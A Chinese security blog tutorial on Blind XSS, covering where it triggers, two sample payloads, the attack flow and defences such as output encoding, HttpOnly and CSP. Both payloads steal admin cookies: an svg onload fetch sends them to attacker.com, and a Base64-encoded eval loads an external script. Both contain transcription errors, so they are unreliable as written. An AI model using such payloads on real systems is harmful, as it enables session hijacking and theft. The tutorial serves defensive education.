【Web安全】Blind XSS漏洞：从挖掘到防御

文章目录

[1 Blind XSS核心原理](#1 Blind XSS核心原理)
[2 Blind XSS触发场景](#2 Blind XSS触发场景)
- [2.1 反馈/意见提交](#2.1 反馈/意见提交)
- [2.2 投诉/咨询](#2.2 投诉/咨询)
- [2.3 日志/审计系统](#2.3 日志/审计系统)
- [2.4 其他后台交互](#2.4 其他后台交互)
[3 实战Payload解析](#3 实战Payload解析)
- [3.1 Payload 1：基础窃取Cookie脚本](#3.1 Payload 1：基础窃取Cookie脚本)
- [3.2 Payload 2：Base64编码绕过](#3.2 Payload 2：Base64编码绕过)
[4 Blind XSS攻击流程与危害](#4 Blind XSS攻击流程与危害)
- [4.1 完整攻击流程](#4.1 完整攻击流程)
- [4.2 核心危害](#4.2 核心危害)
[5 Blind XSS防御方案](#5 Blind XSS防御方案)
- [5.1 输入过滤：拒绝不可信输入](#5.1 输入过滤：拒绝不可信输入)
- [5.2 输出编码：后台展示要转义](#5.2 输出编码：后台展示要转义)
- [5.3 安全配置：限制信息泄露](#5.3 安全配置：限制信息泄露)

⚠️本博文所涉安全渗透测试技术、方法及案例，仅用于网络安全技术研究与合规性交流，旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前，必须获得目标网络 / 系统所有者的明确且书面授权，严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。

Blind XSS是XSS的特殊类型。和常见的反射型、存储型XSS不同，攻击者注入的恶意脚本不会马上在前端显示效果。

简单讲，攻击者把恶意代码放到目标系统输入框，前端只提示"提交成功"之类，没啥特别反应。但后台管理人员查看这些输入内容时，恶意脚本就在他们浏览器里运行了，攻击者就能拿到后台敏感信息，完成攻击。核心要点就是利用前后端交互，在后台触发恶意脚本。

只要系统有前端提交、后台展示的环节，且服务端过滤不严格，就可能出现Blind XSS。常见场景如下：

2.1 反馈/意见提交

前端提交后只显示"感谢反馈"，具体内容要后台管理人员登录后台查看。这是很典型的场景，也是我们重点分析的。

2.2 投诉/咨询

用户提交投诉或咨询，前端提示成功，后台客服查看时可能触发恶意脚本。

2.3 日志/审计系统

系统日志记录用户异常输入，后台人员查看日志就可能触发Payload。

2.4 其他后台交互

像用户留言审核、订单备注查看等，只要用户输入会被后台查看且过滤不严，就有风险。

这些场景问题都出在服务端过滤不彻底，只做前端校验，后台展示没二次过滤和编码，导致恶意脚本被执行。

3 实战Payload解析

Blind XSS的Payload就是要把敏感信息发给攻击者服务器。因为后台可能有过滤，所以要结合场景调整。下面两个Payload适用于反馈/投诉场景。

3.1 Payload 1：基础窃取Cookie脚本

这个Payload用svg标签的onload事件，通过fetch函数把后台管理人员Cookie发到攻击者服务器（示例用https://attacker.com/x ，实际要用自己可控服务器）。

复制代码

uwu<svg/onload=fetch(https://attacker.com/x?d='+document.cookie)>

"uwu"：用来绕过简单关键词过滤，模拟正常用户输入的多余内容，降低被发现几率。
<svg/onload=...>：利用svg标签加载就触发的特性，不依赖用户操作，而且多数后台不会过滤svg标签，适合盲打。
fetch(https://attacker.com/x?d='+document.cookie)：把Cookie拼在请求参数里发给攻击者服务器。

后台人员查看含这个Payload的反馈，svg加载触发onload，Cookie就发到攻击者服务器，攻击者看日志拿到Cookie，可能劫持会话登录后台。

3.2 Payload 2：Base64编码绕过

如果系统过滤脚本关键词，就把恶意脚本Base64编码，用input标签onfocus事件触发。

复制代码

"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1IbnQuY3JIYXRIRWxIbWVudCgic2NyaXB0lik7YS5zcmM9Imh0dHBzOi8vYXNzZXRjeWJIci54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7autofocUs>

">：闭合前端输入框标签，让后面input标签能正常解析。
onfocus=eval(atob(this.id))：鼠标聚焦触发，解码id里Base64内容并执行。
id属性值：解码后是创建script标签引入外部恶意脚本，能做更复杂攻击。
autofocus：加这个属性，页面加载自动聚焦触发脚本，提高成功率。

4.1 完整攻击流程

攻击者找到Blind XSS触发场景，确认前端过滤不严，后台会展示输入。
构造Payload，通过前端提交。
前端显示提交成功，Payload存到数据库或日志。
后台人员登录查看，触发Payload。
Payload把敏感信息发给攻击者服务器。
攻击者利用敏感信息进一步攻击，比如会话劫持、内网探测。

4.2 核心危害

后台权限泄露：拿到管理人员Cookie，登录后台操作敏感数据。
内网探测：获取后台服务器信息，方便内网渗透。
持久化攻击：Payload存数据库，长期触发泄露信息。
绕过防护机制：编码等方式绕过过滤，攻击隐蔽难发现。

5.1 输入过滤：拒绝不可信输入

后台严格过滤，用白名单，只允许合法字符，禁HTML标签和脚本关键词。注意前端过滤没用，得在服务端二次过滤，别用黑名单，容易被绕过。

5.2 输出编码：后台展示要转义

后台展示用户提交内容，进行HTML实体编码，特殊字符转成实体字符，让浏览器当文本解析。用成熟编码函数，别手动编码以免遗漏。

5.3 安全配置：限制信息泄露

Cookie设HttpOnly属性，前端拿不到Cookie，防会话劫持。
配置Content - Security - Policy（CSP）头部，限制脚本加载来源，阻断外部恶意脚本。

总结来说，Blind XSS虽隐蔽，但本质是输入输出处理不当。开发者做好输入过滤和输出编码，配好安全设置就能防范；安全从业者掌握Payload技巧能更好挖掘漏洞。